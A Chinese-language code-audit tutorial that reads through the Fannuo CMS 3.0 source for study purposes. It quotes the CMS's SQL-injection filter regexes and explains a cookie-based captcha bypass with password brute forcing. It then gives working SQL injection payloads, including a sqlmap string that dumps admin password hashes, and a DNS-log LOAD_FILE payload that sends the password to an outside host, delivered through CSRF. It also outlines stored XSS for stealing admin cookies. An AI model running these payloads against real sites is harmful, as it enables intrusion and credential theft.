0×00 前言
大家好,我是掌控安全学院的聂风,在此,我做一个代码审计的文章分享来方便同学们学习。我逛了逛CNVD,发现有一个叫做凡诺企业网站管理系统的后台SQL注入,5月30日发布,到7月中旬已经20多万的点击量,位列CNVD点击量的第三名,这次代码审计决定通读全文来审计该CMS.
0×01 环境搭建
Phpstudy
fannuo_php_3.0免费版源码(http://www.pcfinal.cn/channel/ecms.html)
代码审计工具(Seay源代码审计系统)
0×02 代码审计过程
源码放入网站根目录,然后去访问Web地址,然后自动跳转到了安装界面,来分析分析源码。
第一开始访问到的是install/index.php文件,这个文件包含了函数库
include(‘../system/library.php’);
然后开始细细读取代码,发现我们填入的数据会直接写入/system/data.php
于是乎突发奇想,想试试能不能直接插入一句话木马,结果CMS的开发也考虑到了这个问题,
如果连接失败的的时候,写入的东西都在注释中,于是乎就想跳出注释,尝试了好多方法都没解决,然后就放弃这里了,安装这个文件颇为简单,就是将正确的数据库连接什么的写入data.php,然后将默认数据导入数据库,且将index.php重命名为index.lock。
默认账号密码:admin admin
安装完毕后,我们打开根目录index.php这个文件
包含 inc.php和 safe.php
这里有个自定义函数ism() 查看了一下,实际上是返回一个false,那么这里就是包含了$dir.$t_path.index.php
我们去看看inc.php里面有什么吧
Inc.php作用:
$dir = __FILE__
包含system目录下的四个文件
conn.php、library.php、config.php、function.php
conn.php作用:
设置了时区、编码,开启了session,缓冲激活(ob_start),然后文件包含了data.php,就是数据库的连接配置文件。然后选择了数据库,指定了数据库格式是utf-8.
Config作用:
从数据库中的cms_system表中取id=1得数据,然后赋值给各种变量,然后执行数据库查询语句,会将cms_system中得到的s_template、
s_mtemplate 两个字段值 一个是1 还有一个是m1 ,然后将这两个数值作为t_path字段的条件去查询cms_template。好吧,里面只是一些图片而已,是Logo。 1代表电脑模板1 ,m1代表手机模板2,然后又定义了各种各样函数(这个地方记录一下,如果cms_system表中的s_template、s_mtemplate字段可以控制的话,那就有可能存在一个二次注入)
里面还定义了 $t_mpath =/template/m1/
Library.php和Function.php定义各种各样的函数(遇到函数跳过去就行,到时候用到来查)
那么我们现在知道了
$t_mpath =/template/m1/
$t_path =/template/1
$dir = __FILE__
$dir.$t_path.index.php => __FILE__/template/1/index.php
我们再看看safe.php这个文件
一打开就是三个正则,是对GET|POST|Cookie传参的过滤,感觉是过滤SQL注入和XSS的
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
先不分析,先看完这个文件吧(这个是360的通用防护)
定义了一个函数,StopAttack ,当正则匹配到了就输出非法操作,然后匹配不分大小写,任意匹配不匹配换行(\n),然后怎么匹配就看上面的正则了。
这个安全机制我觉得可以绕过,因为不仅仅是存在GET POST COOKIE 传参,还有一些IP agent-User之类的也可能会去获取,那么这里获取这些岂不是就可以绕过安全限制了(ip我看了,他居然有检测,Ip不用想了,用了 ip2long,如果返回False就设定ip为0.0.0.0)
我们来查看$dir.$t_path.index.php => __FILE__/template/1/index.php (这个页面HTML和PHP混合页面)
然后看到了第10行的<?php include($dir.$t_path.’inc_head.php’);?> 包含了inc_head.php文件
Inc_head.php里面实际上是一些Js和css脚本地址的定义,是由$s_path来控制的,如果我们控制的了这个,那么可以尝试打一个XSS 。
然后又是一个文件包含
include($dir.$t_path.'inc_header.php')
于是乎查看下inc_header.php这个文件(就是个页面顶部构成,就是查询cms_channel表里面的数据,然后输出,数据就是模块标题什么的)
然后后面第53行那个语句也差不多,只是换了一个表cms_slideshow
然后81行我看到了第一个表单,GET请求search.php
看到下面还去查询了cms_detail的数据然后输出
还有cms_link也有输出
看到318行又是喜闻乐见的文件包含
<?php include($dir.$t_path.'inc_footer.php');?>
Inc_footer.php文件里面也没啥有营养的东西,留了一个网站的导航,咦~第19行居然调用了第一个函数get_chip(1) 有点小兴奋,我们去看看她是干什么的,赶紧的找一找,在Config.php文件的第110行被定义。
他去查询cms_chip表里面的数据,然后输出c_content字段的值
后面就没什么东西了,我们算是看完了这整个index.php文件,然后我们收获了什么,遇到的东西都记录下?
$s_path 决定的href的链接方向(Js css ),可控制就代表构建XSS
有输出的表(如果能改里面数据就可能有XSS):
cms_slideshow
cms_channel
cms_detail
cms_link
get_chip() 函数我能控制值就能尝试SQL注入(拿好小本本记录下)
然后我们去看这文件吧
search.php (注:我们这里是index包含文件中西得search.php的表单地址,那么相对路径是index.php的同级目录,我这里差点没注意,因为index.php包含的文章中有template文件夹下面1的index.php,那个文件夹内也有search.php)
这个文件还是老一套的包含inc.php和system/safe.php
然后GET接受Key的传参,然后赋值给$key 然后调用template/1/search.php。
然后文件执行SQL语句
$sql = 'select id,d_name,d_picture,d_scontent,d_date from cms_detail where d_name like "%'.$key.'%" order by d_order desc , id desc';
我尝试构建了语句发现(我现在是先删除了Safe.php文件的)
select id,d_name,d_picture,d_scontent,d_date from cms_detail where d_name like "%1%\"order by d_order desc , id desc and sleep(5) -- %" order by d_order desc , id desc limit 0,20
咦?怎么会有转译符号,魔术引号我没有开呀,那就开始排查吧。我找到search.php,在文件最上面写输出$key,输出的时候已经被转译了,经过测试,发现是inc.php文件造成的,仔细找了找,我在system中的livrary.php文件中的第35行看到了(这个CMS感觉安全性很强呀!)
用了这么个函数addslashes_deep() 这是个自定义函数,在library.php的第47行
如果是数组,就拆分开来执行,反正就是要执行addslashes() 只能依靠编码了,如果绕过了编码那么safe那个文件的正则也能绕过。
好吧,我们接着会search.php文件,下面就是一个分页和时间,完全没有办法呀
我们看看关于我们这个板块吧channel.php
这文件也没什么亮点,唯独就是cms_channel的$c_parent 和 $c_id 字段可以控制也可以尝试二次注入
最下面是读取频道模型
c_article.php
c_article_d.php
c_article_w.php
c_picture.php
c_picture_d.php
c_picture_w.php
c_spage.php
我们看看关于我们这个板块吧detail.php玩意
这里居然有一句更新语句:sql_query(‘update cms_detail set d_hits = d_hits + 1 where id = ‘.$_GET[‘id’].”);
好吧这玩意感觉没用,但是如果能够跳出safe.php和魔术引号还有non_numeric_back($_GET[‘id’],’非法字符’);
再看看feedback.php这个文件
如果$_POST触发了Save 然后 接受了后插入数据库,然后我们看了下输入的数据会处理,clear_html函数进行处理。
clear_html() 进行好几步处理,第一步,strip_tags() 去除所有html标签, trim()移出空格 preg_replace() 替换掉\f\n\r\t\v 为空,
利用arrtoinsert这个自定义函数将$_data 这个数组进行处理,将数组转换为insert语句的字符串。前台留言似乎前台看不到,数据库f_ok来决定是否在前台展示。
在看看sitemap.php文件,也没用什么东西,我们只能去后台看看吧
访问admin文件夹,发现index.php直接跳转到cms_login.php
它包含了cms_inc.php (这个文件包含了很多文件,其实就是最前面分析过的4个,conn.php、library.php、config.php、function.php)
然后它写了验证码的机制
$_SESSION[‘verifycode’] != $_POST[‘verifycode’] 会报验证码错误
验证码机制的核心是system下面的verifycode.php文件,开启了session 然后创建了画布,和颜色,然后通过一下代码生成验证码。
$str = '0123456789';
$rand_str = '';
for ($i = 0; $i < 4; $i++){
$k = mt_rand(1, strlen($str)); //选择1-10
$rand_str .= $str[$k - 1];
}
$_SESSION['verifycode'] = $rand_str;
Mt_rand 实际上是个伪随机数我看看能不能算出来(算出来又有什么用?利用条件这么苛刻,没有必要往这条路去走,我们跳过这里吧)
然后正常后台登陆吧,看了校验机制。
登陆后会设置cookie,然后跳转到cms_channel.php文件
然后查看cms_channel文件,有了重大发现
他原本每个文件都会包含./system/safe.php 这个文件,现在进入后台居然不再包含,而去包含cms__check.php。说明什么?安全问题的本质是什么?是信任,这里很明显是因为登陆后台的就认定为管理员,然后开发信任管理员,将安全机制给去除了一部分。
然后本身包含inc也变为了cms_inc.php
那如果说cms_in.php中没有魔术引号,且cms_check.php没有防护代码,那么后台不就很危险了,然后我们尝试用CSRF,然后配合DNS log 注入。(完美)
走走走走~开车了~我们去看看cms_inc.php
他包含了几个文件,和inc差不多,唯一区别就是inc.php有这样一句话
$dir = dirname(__FILE__);
我们去寻找一下livrary.php文件中的第35行,没事了,魔术引号还在。
我们去看看cms__check.php这个文件吧,这文件就是一个检测Cookie的文件,他的检测机制还有点好玩~
每次访问页面居然直接通过cookie中的传参去查询数据库,那么我们是不是相当于这里绕过了验证码?
我们在非登陆状态,然后直接访问admin文件夹下面的cms_channel.php,然后填充Cookie
然后放包过去,然后成功的访问成功了
成功进入后台,这里审计出了第一个逻辑漏洞,验证码可绕过,我们尝试把密码放在字典里面,拿Burp去跑包试试看能不能。
拿md5的字典去跑
很明显,密码跑出来了,解密下密码就是admin
找到第一个漏洞,逻辑漏洞-验证码可绕过
感觉自己心情好了很多,之前看他的前台,看的好难受的,没想到后台一看就找到问题了。
来,我们继续回到cms_Channel.php
看到第三行,这里有个SQL语句,然后似乎del语句本身的传参,就没有引号,我们是不是可以直接SQL注入?
我尝试了一下报错了。
http://192.168.32.138/admin/cms_channel.php?del=123456
and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
直接sqlmap能跑出来,报错注入和盲注
我偷懒了,直接贴sqlmap的payload吧
http://192.168.32.138:80/admin/cms_channel.php?del=123456 OR ROW(9594,6255)>(SELECT COUNT(*),CONCAT(0x716b766b71,(SELECT MID((IFNULL(CAST(a_password AS CHAR),0x20)),1,54) FROM fr.cms_admin ORDER BY a_password),0x71767a6b71,FLOOR(RAND(0)*2))x FROM (SELECT 8439 UNION SELECT 7584 UNION SELECT 8267 UNION SELECT 7159)a GROUP BY x)
密码被炸出来了,感觉美滋滋
那么后台怎么炸?其实可以多考虑一点,如果存在CSRF的话我们可以用CSRF配合dns log注入。Dns log注入语句构建完毕(有魔术引号怕啥,我有16进制)(这里要Mysql的 load_file可以用)
http://192.168.32.138:80/admin/cms_channel.php?del=123456
and LOAD_FILE(CONCAT(0x5c5c5c5c,(SELECT a_password from cms_admin limit
0,1),0x2e6870307a79722e636579652e696f5c5c616263));
CSRF这个漏洞肯定存在,我到现在没有看到任何CSRF防护代码。
直接写一个img标签,然后藏在哪个网站首页,管理员去点击就中招
直接出密码了,这SQL注入还是有利用的意义的!!!
第二个漏洞,SQL注入
然后过了这块代码吧,del那个地方也是有问题的。
然后查看第22行的包含(没啥东西)
<?php include('./cms_inc_head.php') ?>
然后查看第25行和第64行的包含都没啥东西。
然后我们去看看其他文件吧
看看cms_admin.php文件
这个文件第8行又出现了这样的语句
这里是什么情况,这个确定不是再逗我么?
判断传参是否存在,传参存在就执行弹窗。传参不存在执行else部分。。。
这个地方写的很有问题。。。这个删除功能是失效的。
看到第30行
很明显,我们控制住a_tname传参就可以尝试SQL注入,我把这个代码单独拿了出来
很明显我们可以构建a_tname的传参就可以控制SQL注入。
a_tname= bbb" and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1),1) --+
但是这有魔术引号,看来是不行了。
查看现有页面,发现输出
可以尝试存储型XSS
轻松的获取Cookie
依靠CSRF,可以直接打后台XSS偷取管理员的Cookie。
我们再看看cms_admin_edit.php文件
这里很明显有个id传参。这里应该可以SQL注入,我也就直接Sqlmap了吧
这个地方也可以配合CSRF+Dns log来获取密码
第40行也有问题
这里还能联合查询呢
0×03 总结
其实该CMS所存在的漏洞不仅仅只有这些,我文章中的这些也只是一个抛砖引玉,只是为了阐述通读全文的审计方法,如果我文章中有什么写的可以再改进的地方,可以随时联系我!谢谢大家花费了时间来读在下的粗鄙小文,谢谢大家。